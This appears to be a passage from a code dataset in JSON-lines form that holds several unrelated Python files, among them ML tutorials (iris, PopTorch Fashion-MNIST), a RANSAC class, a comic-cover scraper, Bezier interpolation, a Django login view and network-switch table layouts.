{\n '_uri': 'str',\n '_method': 'str',\n '_accept': 'list[str]',\n '_headers': 'dict[str, list[str]]',\n '_accept': 'str',\n '_content_type': 'str',\n '_connection_time_out': 'int',\n '_read_timeout': 'int',\n '_body': 'str',\n }\n\n attribute_map = {\n '_uri': 'uri',\n '_method': 'method',\n '_accept': 'accept',\n '_headers': 'headers',\n '_accept': 'accept',\n '_content_type': 'contentType',\n '_connection_time_out': 'connectionTimeOut',\n '_read_timeout': 'readTimeOut',\n '_body': 'body',\n }\n\n def __init__(self,\n method: HttpMethod = HttpMethod.GET,\n uri: str = None,\n headers: Dict[str, List[str]] = None,\n accept: str = None,\n content_type: str = None,\n connection_time_out: int = None,\n read_timeout: int = None,\n body: Any = None) -> Self:\n self._method = deepcopy(method)\n self._uri = deepcopy(uri)\n self._headers = deepcopy(headers)\n self._accept = deepcopy(accept)\n self._content_type = deepcopy(content_type)\n self._connection_time_out = deepcopy(connection_time_out)\n self._read_timeout = deepcopy(read_timeout)\n self._body = deepcopy(body)\n\n\nclass HttpTask(TaskInterface):\n def __init__(self, task_ref_name: str, http_input: HttpInput) -> Self:\n super().__init__(\n task_reference_name=task_ref_name,\n task_type=TaskType.HTTP,\n input_parameters={\n \"http_request\": http_input\n }\n )\n","repo_name":"conductor-sdk/conductor-python","sub_path":"src/conductor/client/workflow/task/http_task.py","file_name":"http_task.py","file_ext":"py","file_size_in_byte":2107,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"32"} +{"seq_id":"31230677330","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon May 15 17:05:10 2023\r\n\r\n@author: ViswanathanM\r\n\"\"\"\r\n#libraries\r\nimport pandas as pd\r\nfrom pandas.plotting import scatter_matrix\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn import model_selection\r\nfrom sklearn.metrics import classification_report\r\nfrom sklearn.metrics import confusion_matrix\r\nfrom sklearn.metrics import accuracy_score\r\n\r\n#various ML models\r\nfrom sklearn.linear_model import LogisticRegression\r\nfrom sklearn.tree import DecisionTreeClassifier\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\nfrom sklearn.discriminant_analysis import LinearDiscriminantAnalysis\r\nfrom sklearn.naive_bayes import GaussianNB\r\nfrom sklearn.svm import SVC\r\n\r\nurl = \"https://archive.ics.uci.edu/ml/machine-learning-databases/iris/iris.data\"\r\nnames = ['sepal-length', 'sepal-width', 'petal-length', 'petal-width', 'class']\r\nirisdataset = pd.read_csv(url, names=names)\r\n\r\n#summarizing the dataset\r\n# shape\r\nprint(irisdataset.shape)\r\n\r\n#head\r\nprint(irisdataset.head(20))\r\n\r\n#describtion\r\nprint(irisdataset.describe())\r\n\r\n#class distribution\r\nprint(irisdataset.groupby('class').size())\r\n\r\n#univariant: boxplot\r\nirisdataset.plot(kind= 'box', subplots=True, layout=(2,2),sharex=False,sharey=False)\r\nplt.show() \r\n\r\nirisdataset.hist()\r\nplt.show()\r\n\r\n#multivariant plt\r\n\r\n#creating validation dataset\r\n#split out validation dataset & divided into test and train\r\narray = irisdataset.values\r\nX = array[:,0:4]\r\nY = array[:,4]\r\nvalidation_size = 0.20\r\nseed = 7\r\nscoring = 'accuracy'\r\nX_train,X_validation,Y_train,Y_validation = model_selection.train_test_split(X,Y,test_size=validation_size,random_state=seed)\r\n\r\n#spot check algorithym\r\nmodels = []\r\nmodels.append(('LR',LogisticRegression(solver='liblinear',multi_class=\"ovr\")))\r\nmodels.append(('LDA',LinearDiscriminantAnalysis()))\r\nmodels.append(('KNN',KNeighborsClassifier()))\r\nmodels.append(('CART',DecisionTreeClassifier()))\r\nmodels.append(('NB',GaussianNB()))\r\nmodels.append(('SVM',SVC(gamma='auto')))\r\n#evaluate each model in turn\r\nresults = []\r\nnames = []\r\nfor name, model in models:\r\n kfold = model_selection.KFold(n_splits=10, shuffle=True, random_state=seed)\r\n cv_results = model_selection.cross_val_score(model, X_train, Y_train, cv=kfold, scoring=scoring)\r\n results.append(cv_results)\r\n names.append(name)\r\n msg = \"%s: %f (%f)\" % (name, cv_results.mean(), cv_results.std())\r\n print(msg)\r\n \r\n \r\n#comparing algorithms and select best model\r\nfig = plt.figure()\r\nfig.suptitle('Algorithm comparison')\r\nax = fig.add_subplot(111)\r\nplt.boxplot(results,showmeans= True)\r\nax.set_xticklabels(names)\r\nplt.show()\r\n","repo_name":"viswa27121996/Machine-Learning-Clustering-","sub_path":"irisdataset model build.py","file_name":"irisdataset model build.py","file_ext":"py","file_size_in_byte":2624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"70453855451","text":"import argparse\nimport json\nimport logging\nimport multiprocessing as mp\nimport os\nimport random\nimport sys\nimport time\nfrom functools import partial\nfrom pathlib import Path\n\nimport dotenv\nimport pandas as pd\nimport requests\nfrom faker import Faker\nfrom PIL import Image\nfrom tqdm.auto import tqdm\n\n\ndef worker(row_idx):\n try:\n row = df.iloc[row_idx]\n download_fn(row)\n except requests.exceptions.RequestException as e:\n logging.info(\n f\"Index {row_idx}: {row['img_url']} has error of type\"\n f\" {e.__class__.__qualname__}.\"\n )\n\n\ndef init_pool(_df, _download_fn):\n global df, download_fn\n df, download_fn = _df, _download_fn\n\n\ndef create_image_dataset(\n metadata_csv, dataset_location, image_size=250, seed=42, population=0.2\n):\n sampled_df = (\n pd.read_csv(metadata_csv, index_col=0)\n .sample(frac=population, random_state=seed)\n .reset_index(drop=True)\n )\n faker = Faker()\n dataset_location = Path(dataset_location)\n sampled_df.to_csv(\n dataset_location / f\"sampled_dataset_seed_{seed}_population_{population}.csv\",\n index_label=False,\n )\n download_fn = partial(\n download_image,\n dataset_location=dataset_location,\n faker=faker,\n image_size=image_size,\n )\n with mp.Pool(\n initializer=init_pool,\n initargs=(sampled_df, download_fn),\n ) as pool:\n for _ in tqdm(\n pool.imap(worker, sampled_df.index),\n miniters=0.001,\n total=len(sampled_df),\n desc=\"downloading images\",\n ):\n pass\n\n\ndef download_image(row, dataset_location, faker, image_size):\n fpath: Path = dataset_location / Path(row[\"img_url\"][1:])\n if fpath.exists():\n return\n fpath.parent.mkdir(exist_ok=True, parents=True)\n base_url = \"https://coverbrowser.com\"\n url = f\"{base_url}{row['img_url']}\"\n with requests.get(\n url,\n headers={\"User-Agent\": faker.user_agent()},\n stream=True,\n allow_redirects=True,\n timeout=(1, 5),\n ) as r:\n if r.status_code == 200:\n image = Image.open(r.raw)\n image.thumbnail((image_size, image_size), resample=Image.NEAREST)\n image.save(fpath)\n else:\n logging.info(f\"Cannot download {url}. status code: {r.status_code}\")\n\n time.sleep(random.uniform(0.05, 0.5))\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-d\", \"--debug\", action=\"store_true\")\n parser.add_argument(\"--stdout-log\", action=\"store_true\")\n parser.add_argument(\"--random-seed\", default=42, type=int)\n parser.add_argument(\"--image-size\", default=250, type=int)\n parser.add_argument(\"--population\", default=0.2, type=float)\n parser.add_argument(\"--test-run\", action=\"store_true\")\n\n args = parser.parse_args()\n\n if args.stdout_log:\n stream = sys.stdout\n else:\n stream = sys.stderr\n\n if args.debug:\n level = logging.DEBUG\n else:\n level = logging.INFO\n\n random_seed = args.random_seed\n population = args.population\n image_size = args.image_size\n\n if args.test_run:\n population = 0.001\n\n logging.basicConfig(\n level=level,\n format=\"%(asctime)s %(levelname)s %(threadName)s %(name)s %(message)s\",\n stream=stream\n # datefmt='%m-%d %H:%M',\n )\n if os.path.exists(\"secrets.env\"):\n dotenv.load_dotenv(\"secrets.env\")\n create_image_dataset(\n \"data/comic-dataset-metadata.csv\", \"data\", image_size, random_seed, population\n )\n with open(\"data/subset_info.json\", \"w\") as jfile:\n json.dump(\n {\n \"population\": population,\n \"random_seed\": random_seed,\n \"image_size\": image_size,\n },\n jfile,\n )\n","repo_name":"FeryET/comic-covers-scraper","sub_path":"dataset_operations/create_dataset.py","file_name":"create_dataset.py","file_ext":"py","file_size_in_byte":3865,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"29906653947","text":"\ndef rotate_matrix(mat, turns=1):\n m, n, turns = len(mat), len(mat[0]), turns%4\n if turns == 3:\n return [[mat[r][c] for r in range(m)] for c in range(n-1, -1, -1)]\n elif turns == 2:\n return [row[::-1] for row in mat[::-1]]\n elif turns == 1:\n return [[mat[r][c] for r in range(m-1, -1, -1)] for c in range(n)]\n else:\n return [row[::] for row in mat]\n\n","repo_name":"daniel-reich/ubiquitous-fiesta","sub_path":"2rQcGmSYvXRtxSuHn_6.py","file_name":"2rQcGmSYvXRtxSuHn_6.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"7312098572","text":"\"\"\"A simple RANSAC class implementation.\n\nReference: https://github.com/scikit-image/scikit-image/blob/master/skimage/measure/fit.py\n\"\"\"\n\nimport numpy as np\n\n\nclass RansacEstimator:\n \"\"\"Random Sample Consensus.\n \"\"\"\n\n def __init__(self, min_samples, residual_threshold, max_trials):\n self.min_samples = min_samples\n self.residual_threshold = residual_threshold\n self.max_trials = max_trials\n\n def fit(self, model, data):\n \"\"\"Robustely fit a model to the data.\n\n Args:\n model: a class object that implements `estimate` and `residuals` methods.\n data: the data to fit the model to. Can be a list of data pairs.\n\n Returns:\n inliers: a boolean mask indicating the inlier subset in the data.\n \"\"\"\n best_inliers = None\n best_num_inliers = 0\n best_residual_mse = np.inf\n\n if not isinstance(data, (tuple, list)):\n data = [data]\n num_data = len(data[0])\n\n for trial in range(self.max_trials):\n # randomly select subset\n rand_subset_idxs = np.random.choice(\n np.arange(num_data), size=self.min_samples, replace=False\n )\n rand_subset = [d[rand_subset_idxs] for d in data]\n\n # estimate with model\n model.estimate(*rand_subset)\n\n # compute residuals\n residuals = model.residuals(*data)\n residuals_mse = (residuals ** 2).mean()\n inliers = residuals <= self.residual_threshold\n num_inliers = np.sum(inliers)\n\n # decide if better\n if (best_num_inliers < num_inliers) or (best_residual_mse > residuals_mse):\n best_num_inliers = num_inliers\n best_residual_mse = residuals_mse\n best_inliers = inliers\n\n # refit model using all inliers for this set\n if best_num_inliers == 0:\n data_inliers = data\n else:\n data_inliers = [d[best_inliers] for d in data]\n model.estimate(*data_inliers)\n residuals = model.residuals(*data_inliers)\n residuals_mse = (residuals ** 2).mean()\n\n ret = {\n \"best_params\": model.params,\n \"best_residual\": residuals_mse,\n \"best_inliers\": best_inliers,\n }\n\n return ret\n","repo_name":"ScarceStar-XieCY/MatchNet","sub_path":"tools/geometry/ransac.py","file_name":"ransac.py","file_ext":"py","file_size_in_byte":2336,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"32673719849","text":"#! /user/bin/env python\n#coding=utf-8\nfrom django.http import HttpResponse,Http404\nfrom userCtl.models import *\n\ndef check_user_pwd(user_name, user_pwd):\n return user_pwd == get_pwd(user_name)\n\n\ndef login(request):\n if request.method == 'POST':\n if 'user_id' in request.POST and 'user_pwd' in request.POST:\n user_id = request.POST['user_id']\n user_pwd = request.POST['user_pwd']\n if check_user_pwd(user_id, user_pwd):\n return HttpResponse(\"YES\")\n else:\n return HttpResponse(\"NO\")\n else:\n raise Http404()\n else:\n raise Http404()\n","repo_name":"fz1989/ReadOne","sub_path":"login/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"9658408030","text":"import time\r\nlanches = {\r\n \"lanche1\": \"x-salada sem salada\",\r\n \"lanche2\": \"x-egg sem ovo\",\r\n \"lanche3\": \"x-bacon sem bacon\"\r\n}\r\nbebidas = {\r\n \"Bebida1\": \"Whisky\",\r\n \"Bebida2\": \"Red Bull\",\r\n \"Bebida3\": \"Refrigerante\"\r\n}\r\nsobremesas = {\r\n \"Sobremesa 1\": \"Pão doce\",\r\n \"Sobremesa 2\": \"Coockies\",\r\n \"Sobremesa 3\": \"7 Belo\"\r\n}\r\npedido = []\r\n\r\ndef pedidoLanche():\r\n print(lanches)\r\n while True:\r\n lanche = int(input(\"Escolha seu lanche ou digite '4' para pular: \"))\r\n time.sleep(1)\r\n if lanche == 1:\r\n pedido.append(lanches['lanche1'])\r\n break\r\n elif lanche == 2:\r\n pedido.append(lanches['lanche2'])\r\n break\r\n elif lanche == 3:\r\n pedido.append(lanches['lanche3'])\r\n break\r\n elif lanche == 4:\r\n break\r\n else:\r\n print(\"Digita o bang direito\")\r\n continue\r\ndef pedidobebida():\r\n print(bebidas)\r\n while True:\r\n bebida = int(input(\"Escolha sua bebida ou digite '4' para pular: \"))\r\n time.sleep(1)\r\n if bebida == 1:\r\n pedido.append(bebidas['Bebida1'])\r\n break\r\n elif bebida == 2:\r\n pedido.append(bebidas['Bebida2'])\r\n break\r\n elif bebida == 3:\r\n pedido.append(bebidas['Bebida3'])\r\n break\r\n elif bebida == 4:\r\n break\r\n else:\r\n print(\"Digita o bang direito\")\r\n continue\r\n\r\n\r\n\r\ndef pedidosobremesa():\r\n print(sobremesas)\r\n while True:\r\n sobremesa = int(input(\"Escolha sua sobremesa ou digite '4' para pular: \"))\r\n time.sleep(1)\r\n if sobremesa == 1:\r\n pedido.append(sobremesas['Sobremesa 1'])\r\n break\r\n elif sobremesa == 2:\r\n pedido.append(sobremesas['Sobremesa 2'])\r\n break\r\n elif sobremesa == 3:\r\n pedido.append(sobremesas['Sobremesa 3'])\r\n break\r\n elif sobremesa == 4:\r\n break\r\n else:\r\n print(\"Digita o bang direito\")\r\n continue\r\ndef pedido3():\r\n pedidoLanche()\r\n pedidobebida()\r\n pedidosobremesa()\r\ndef finalizarpedido():\r\n while True:\r\n time.sleep(1)\r\n print(pedido)\r\n time.sleep(1)\r\n yon = str(input(\"O(s) pedido(s) está correto? S/N \")).upper()\r\n if yon == \"S\":\r\n break\r\n elif yon == \"N\":\r\n pedido.clear()\r\n pedido3()\r\n continue\r\n while True:\r\n time.sleep(1)\r\n print(pedido)\r\n time.sleep(1)\r\n yon2 = str(input(\"Deseja adicionar mais alguma coisa? S/N \")).upper()\r\n if yon2 == \"S\":\r\n pedido3()\r\n continue\r\n elif yon2 == \"N\":\r\n break\r\n\r\ndef inico():\r\n print(\"-\"*50)\r\n print(\"Lanchonete do Wilsão ( ͡° ͜ʖ ͡°)\")\r\n time.sleep(1)\r\n print(\"Escolha seu pedido: \")\r\n time.sleep(1)\r\n\r\nwhile True:\r\n pedido.clear()\r\n inico()\r\n pedido3()\r\n finalizarpedido()\r\n with open('comanda.txt', 'w') as arquivo:\r\n arquivo.write(str(pedido))\r\n time.sleep(1)\r\n print(pedido)\r\n time.sleep(1)\r\n yon2 = str(input(\"Deseja mais alguma coisa? S/N \")).upper()\r\n if yon2 == \"S\":\r\n continue\r\n\r\n elif yon2 == \"N\":\r\n break\r\nprint(\"Volte sempre ( ͡◉ ͜ʖ ͡◉)\")","repo_name":"ViniciusFerreira55/ChallengesPython-Bosch-","sub_path":"desafiosPy/ex4.py","file_name":"ex4.py","file_ext":"py","file_size_in_byte":3358,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"21715566384","text":"\"\"\"\r\nIn this assignment you should interpolate the given function.\r\n\"\"\"\r\nimport math\r\n\r\nimport numpy as np\r\nimport time\r\nimport random\r\n\r\n\r\nclass Assignment1:\r\n def __init__(self):\r\n \"\"\"\r\n Here goes any one time calculation that need to be made before\r\n starting to interpolate arbitrary functions.\r\n \"\"\"\r\n\r\n pass\r\n\r\n def cubicBezierFunc(self,k0: tuple, k1: tuple, k2: tuple, k3: tuple):\r\n return lambda t : np.power(1 - t, 3)*k0+np.power(1 - t, 2)*3*t*k1+3*(1 - t)*np.power(t,2)*k2+np.power(t, 3)*k3\r\n\r\n def TomasAlgorithm(self,d_arr):\r\n n=len(d_arr)\r\n alphaArr=np.zeros(n)\r\n betaArr=np.zeros(n)\r\n vArr=np.zeros((n,2))\r\n xArr=np.zeros((n,2))\r\n\r\n alphaArr[0]=2\r\n betaArr[0]=0\r\n vArr[0]=d_arr[0]\r\n i=1\r\n while i=0 :\r\n xArr[i]=(vArr[i]-xArr[i+1])/alphaArr[i]\r\n i-=1\r\n return xArr\r\n\r\n\r\n def createBezierCoef(self,points_arr):\r\n amount_of_equations=len(points_arr)-1\r\n d_array = np.zeros((amount_of_equations,2))\r\n i=0\r\n while i callable:\r\n if n==1 :\r\n return lambda x : f(a)\r\n if n==2 :\r\n y1=f(a)\r\n y2=f(b)\r\n m=(y2-y1)/(b-a)\r\n return np.poly1d(np.array([m,-m*a+y1]))\r\n\r\n original_x_arr = np.arange(a, b, (b - a) / (n-1))\r\n original_x_arr = np.append(original_x_arr,[b])\r\n\r\n original_y_arr = np.array([f(float(original_x_arr[i])) for i in range(n)])\r\n\r\n if type(original_x_arr) is not type(original_y_arr):\r\n return lambda x : original_y_arr\r\n points_array= np.zeros((len(original_x_arr),2))\r\n i=0\r\n while i> 31\n if selector == 1: return True\n return False\n\n\ndef chk_rc_vl_layout(configuration, bytes):\n selector = struct.unpack(\"> 31\n if selector == 0: return True\n return False\n\n\nlayoutid_map = [\n (schedule_table_layout, 0, None),\n (schedule_entry_points_table_layout, 1, None),\n (vl_lookup_table_layout_0, 2, chk_vl_lookup_table_layout_0),\n (vl_lookup_table_layout_1, 2, chk_vl_lookup_table_layout_1),\n (tt_vl_layout, 3, chk_tt_vl_layout),\n (rc_vl_layout, 3, chk_rc_vl_layout),\n (vl_forwarding_table_layout, 4, None),\n (mac_configuration_table_layout, 9, None),\n (retagging_table_layout, 18, None),\n (schedule_parameters_table_layout, 10, None),\n (schedule_entry_points_parameters_table_layout, 11, None),\n (vl_forwarding_parameters_table_layout, 12, None),\n (clock_synchronization_parameters_table_layout, 15, None),\n (general_parameters_table_layout, 17, None),\n (l2_address_lookup_table_layout, 5, None),\n (vlan_lookup_table_layout, 7, None),\n (l2_lookup_parameters_table_layout, 13, None),\n (l2_policing_table_layout, 6, None),\n (l2_forwarding_table_layout, 8, None),\n (l2_forwarding_parameters_table_layout, 14, None),\n (avb_parameters_table_layout, 16, None),\n (mii_mode_parameters_table_layout, 78, None),\n (external_blocks_not_used_layout, 148, None),\n]\ntableid_map = {\n 'L2 Forwarding Table': 8,\n 'General Parameters': 17,\n 'L2 Lookup Parameters': 13,\n 'VL Lookup Table': 2,\n 'MII Mode Parameters': 78,\n 'Clock Synchronization Parameters': 15,\n 'Schedule Parameters': 10,\n 'VL Forwarding table': 4,\n 'L2 Policing table': 6,\n 'L2 Forwarding Parameters': 14,\n 'Schedule Entry Points Table': 1,\n 'External Blocks Not Used': 148,\n 'Retagging Table': 18,\n 'VL Policing Table': 3,\n 'VL Forwarding Parameters': 12,\n 'VLAN Lookup Table': 7,\n 'Schedule Entry Points Parameters': 11,\n 'MAC Configuration Table': 9,\n 'Schedule Table': 0,\n 'AVB Parameters': 16,\n 'L2 Address Lookup table': 5,\n}\n","repo_name":"maths4513/SJA1105X_CONFIG-GENTOOL","sub_path":"ethsw/tables_sja1105.py","file_name":"tables_sja1105.py","file_ext":"py","file_size_in_byte":11094,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"34745937144","text":"import torch\nimport poptorch\nimport torchvision\nimport torch.nn as nn\nimport matplotlib.pyplot as plt\nfrom tqdm import tqdm\n\n# Under the hood, PopTorch uses Graphcore's high-performance\n# machine learning framework PopART. It is therefore necessary\n# to enable PopART and Poplar in your environment.\n\n# **NOTE**:\n# If you forget PopART, you will encounter the error\n# `ImportError: libpopart.so: cannot open shared object file: No such file or\n# directory` when importing `poptorch`.\n# If the error message says something like `libpopart_compiler.so: undefined\n# symbol: _ZN6popart7Session3runERNS_7IStepIOE`, it most likely means the\n# versions of PopART and PopTorch do not match, for example by enabling PopART\n# with a previous SDK release's `enable.sh` script. Make sure to not mix SDK's\n# artifacts.\n\n# ### Load the data\n# We will use the Fashion-MNIST dataset made available by the package\n# `torchivsion`. This dataset, from [Zalando](https://github.com/zalandoresearch/fashion-mnist),\n# can be used as a more challenging replacement to the well-known MNIST dataset.\n\n# The dataset consists of 28x28 grayscale images and labels of range \\[0, 9]\n# from 10 classes: T-shirt, trouser, pullover, dress, coat, sandal, shirt,\n# sneaker, bag and ankle boot.\n\n# In order for the images to be usable by PyTorch, we have to convert them to\n# `torch.Tensor` objects. Also, data normalisation improves overall\n# performance. We will apply both operations, conversion and normalisation, to\n# the datasets using `torchvision.transforms` and feed these ops to\n# `torchvision.datasets`:\n\ntransform = torchvision.transforms.Compose([\n torchvision.transforms.ToTensor(),\n torchvision.transforms.Normalize((0.5,), (0.5,))])\n\ntrain_dataset = torchvision.datasets.FashionMNIST(\"~/.torch/datasets\", transform=transform, download=True, train=True)\ntest_dataset = torchvision.datasets.FashionMNIST(\"~/.torch/datasets\", transform=transform, download=True, train=False)\nclasses = (\"T-shirt\", \"Trouser\", \"Pullover\", \"Dress\", \"Coat\", \"Sandal\", \"Shirt\", \"Sneaker\", \"Bag\", \"Ankle boot\")\n\n\n# With the following method, we can visualise a sample of these images and\n# their associated labels:\nplt.figure(figsize=(30, 15))\nfor i, (image, label) in enumerate(train_dataset):\n if i == 15:\n break\n image = (image / 2 + .5).numpy() # reverse transformation\n ax = plt.subplot(5, 5, i + 1)\n ax.set_title(classes[label])\n plt.imshow(image[0])\n\n# We then save this visualisation of sample images.\nplt.savefig(\"./Fashion-MNIST-pytorch-class-poplar-sdk2_3-sample_images.png\")\n\n# ##### PopTorch DataLoader\n# We can feed batches of data into a PyTorch model by simply passing the input\n# tensors. However, this is unlikely to be the most efficient way and can\n# result in data loading being a bottleneck to the model, slowing down the\n# training process. In order to make data loading easier and more efficient,\n# there's the [`torch.utils.data.DataLoader`](https://pytorch.org/docs/stable/data.html)\n# class, which is an iterable over a dataset and which can handle parallel data\n# loading, a sampling strategy, shuffling, etc.\n\n# PopTorch offers an extension of this class with its [`poptorch.DataLoader`]\n# (https://docs.graphcore.ai/projects/poptorch-user-guide/en/latest/batching.html#poptorch-dataloader)\n# class, specialised for the way the underlying PopART framework handles\n# batching of data. We will use this class later in the tutorial, as soon as we\n# have a model ready for training.\n\n# ### Build the model\n# We will build a simple CNN model for a classification task. To do so, we can\n# simply use PyTorch's API, including `torch.nn.Module`. The difference from\n# what we're used to with pure PyTorch is the _loss computation_, which has to\n# be part of the `forward` function. This is to ensure the loss is computed on\n# the IPU and not on the CPU, and to give us as much flexibility as possible\n# when designing more complex loss functions.\n\n\nclass ClassificationModel(nn.Module):\n def __init__(self):\n super().__init__()\n self.conv1 = nn.Conv2d(1, 5, 3)\n self.pool = nn.MaxPool2d(2, 2)\n self.conv2 = nn.Conv2d(5, 12, 5)\n self.norm = nn.GroupNorm(3, 12)\n self.fc1 = nn.Linear(972, 100)\n self.relu = nn.ReLU()\n self.fc2 = nn.Linear(100, 10)\n self.log_softmax = nn.LogSoftmax(dim=0)\n self.loss = nn.NLLLoss()\n\n def forward(self, x, labels=None):\n x = self.pool(self.relu(self.conv1(x)))\n x = self.norm(self.relu(self.conv2(x)))\n x = torch.flatten(x, start_dim=1)\n x = self.relu(self.fc1(x))\n x = self.log_softmax(self.fc2(x))\n # The model is responsible for the calculation\n # of the loss when using an IPU. We do it this way:\n if self.training:\n return x, self.loss(x, labels)\n return x\n\nmodel = ClassificationModel()\nmodel.train() # Models default to training mode, but it can be set explicitly\n\n\n# **NOTE**: `self.training` is inherited from `torch.nn.Module` which\n# initialises its value to `True`. Use `model.eval()` to set it to `False` and\n# `model.train()` to switch it back to `True`.\n\n# ### Prepare training for IPUs\n# The compilation and execution on the IPU can be controlled using `poptorch.\n# Options`. These options are used by PopTorch's wrappers such as `poptorch.\n# DataLoader` and `poptorch.trainingModel`.\nopts = poptorch.Options()\n\ntrain_dataloader = poptorch.DataLoader(opts, train_dataset, batch_size=16, shuffle=True, num_workers=20)\n\n\n# ### Train the model\n# We will need another component in order to train our model: an optimiser.\n# Its role is to apply the computed gradients to the model's weights to optimize\n# (usually, minimize) the loss function using a specific algorithm. PopTorch\n# currently provides classes which inherit from multiple native PyTorch optimisation\n# functions: SGD, Adam, AdamW, LAMB and RMSprop. These optimisers provide several\n# advantages over native PyTorch versions. They embed constant attributes to save\n# performance and memory, and allow you to specify additional parameters such as\n# loss/velocity scaling.\n\n# We will use SGD (https://docs.graphcore.ai/projects/poptorch-user-guide/en/latest/reference.html#poptorch.optim.SGD)\n# as it's a very popular algorithm and is appropriate for this classification task.\noptimizer = poptorch.optim.SGD(model.parameters(), lr=0.001, momentum=0.9)\n\n\n# We now introduce the `poptorch.trainingModel` wrapper, which will handle the\n# training. It takes an instance of a `torch.nn.Module`, such as our custom\n# model, an instance of `poptorch.Options` which we have instantiated\n# previously, and an optimizer. This wrapper will trigger the compilation of\n# our model, using TorchScript, and manage its translation to a program the\n# IPU can run. Let's use it.\npoptorch_model = poptorch.trainingModel(model, options=opts, optimizer=optimizer)\n\n\n# #### Training loop\n# Looping through the training data, running the forward and backward passes,\n# and updating the weights constitute the process we refer to as the \"training loop\".\n# Graphcore's Poplar system uses several optimisations to accelerate the\n# training loop. Central to this is the desire to minimise interactions between\n# the device (the IPU) and the host (the CPU), allowing the training loop to\n# run on the device independently from the host. To achieve that virtual\n# independence, Poplar creates a _static_ computational graph and data streams\n# which are loaded to the IPU, and then signals the IPU to get started until\n# there's no data left or until the host sends a signal to stop the loop.\n\n# The compilation, which transforms our PyTorch model into a computational\n# graph and our dataloader into data streams, happens at the first call of a\n# `poptorch.trainingModel`. The IPUs to which the graph will be uploaded are\n# selected automatically during this first call, by default. The training loop can\n# then start.\n\n# Once the loop has started, Poplar's main task is to feed the data into the\n# streams and to signal when we are done with the loop. The last step will then\n# be to copy the final graph, meaning the model, back to the CPU - a step that\n# PopTorch manages itself.\nepochs = 30\nfor epoch in tqdm(range(epochs), desc=\"epochs\"):\n total_loss = 0.0\n for data, labels in tqdm(train_dataloader, desc=\"batches\", leave=False):\n output, loss = poptorch_model(data, labels)\n total_loss += loss\n\n\n# The model is now trained! There's no need to retrieve the weights from the\n# device as you would by calling `model.cpu()` with PyTorch. PopTorch has\n# managed that step for us. We can now save and evaluate the model.\n\n# #### Use the same IPU for training and inference\n# After the model has been attached to the IPU and compiled after the first call\n# to the PopTorch model, it can be detached from the device. This allows PopTorch\n# to use a single device for training and inference (described below), rather\n# than using 2 IPUs (one for training and one for inference) when the device\n# is not detached. When using an IPU-POD system, detaching from the device will\n# be necessary when using a non-reconfigurable partition.\npoptorch_model.detachFromDevice()\n\n\n# #### Save the trained model\n# We can simply use PyTorch's API to save a model in a file, with the original\n# instance of `ClassificationModel` and not the wrapped model.\n# Do not hesitate to experiment with different models: the model provided\n# in this tutorial is saved in the `static` folder if you need it.\n\ntorch.save(model.state_dict(), \"./Fashion-MNIST-pytorch-class-poplar-sdk2_3-classifier.pth\")\n\n\n# ### Evaluate the model\n# The model can be evaluated on a CPU but it is a good idea to use the IPU - since\n# [IPUs are blazing fast](https://www.graphcore.ai/posts/new-graphcore-ipu-benchmarks).\n# Evaluating your model on a CPU is slow if the test dataset is large and/or the model is complex.\n# Since we have detached our model from its training device, the device is now free again\n# and we can use it for the evaluation stage.\n\n# The steps taken below to define the model for evaluation essentially allow it to\n# run in inference mode. Therefore, you can mfollow the same steps to use the model\n# to make predictions once it has been deployed.\n\n# For this, it is first essential to switch the model to evaluation mode. This\n# step is realised as usual.\nmodel = model.eval()\n\n# To evaluate the model on the IPU, we will use the `poptorch.inferenceModel`\n# class, which has a similar API to `poptorch.trainingModel` except that it\n# doesn't need an optimizer, allowing evaluation of the model without calculating\n# gradients.\npoptorch_model_inf = poptorch.inferenceModel(model, options=opts)\n\n# Then we can instantiate a new PopTorch dataloader object as before in order to\n# efficiently batch our test dataset.\ntest_dataloader = poptorch.DataLoader(opts, test_dataset, batch_size=32, num_workers=10)\n\n\n# This short loop over the test dataset is effectively all that is needed to\n# run the model and generate some predictions. When running the model in\n# inference, we can stop here and use the predictions as needed.\n\n# For evaluation, we can use `scikit-learn`'s standard classification metrics to\n# understand how well our model is performing. This usually takes a list of labels\n# and a list of predictions as the input, both in the same order. Let's make both\n# lists, and run our model in inference mode.\npredictions, labels = [], []\n\nfor data, label in test_dataloader:\n predictions += poptorch_model_inf(data).data.max(dim=1).indices\n labels += label\n\n# A simple and widely-used performance metric for classification models is the\n# accuracy score, which simply counts how many predictions were right. But this\n# metric alone isn't enough. For example, it doesn't tell us how the model\n# performs with regard to the different classes in our data. We will therefore\n# use another popular metric: a confusion matrix, which tells how much our\n# model confuses a class for another.\nfrom sklearn.metrics import accuracy_score, confusion_matrix, ConfusionMatrixDisplay\n\nprint(f\"Eval accuracy: {100 * accuracy_score(labels, predictions):.2f}%\")\n\ncm = confusion_matrix(labels, predictions)\ncm_plot = ConfusionMatrixDisplay(cm, display_labels=classes).plot(xticks_rotation='vertical')\n\n# As you can see, although we've got an accuracy score of ~88%, the model's\n# performance across the different classes isn't equal. Trousers are very well\n# classified, with more than 96-97% accuracy whereas shirts are harder to\n# classify with less than 60% accuracy, and it seems they often get confused\n# with T-shirts, pullovers and coats. So, some work is still required here to\n# improve your model for all the classes!\n\n# We can save this visualisation of the confusion matrix. Don't hesitate to\n# experiment: you can then compare your confusion matrix with the\n# [visualisation provided in the `static` folder](static/confusion_matrix.png).\ncm_plot.figure_.savefig(\"./Fashion-MNIST-pytorch-class-poplar-sdk2_3-confusion_matrix.png\")\n\n# # Doing more with 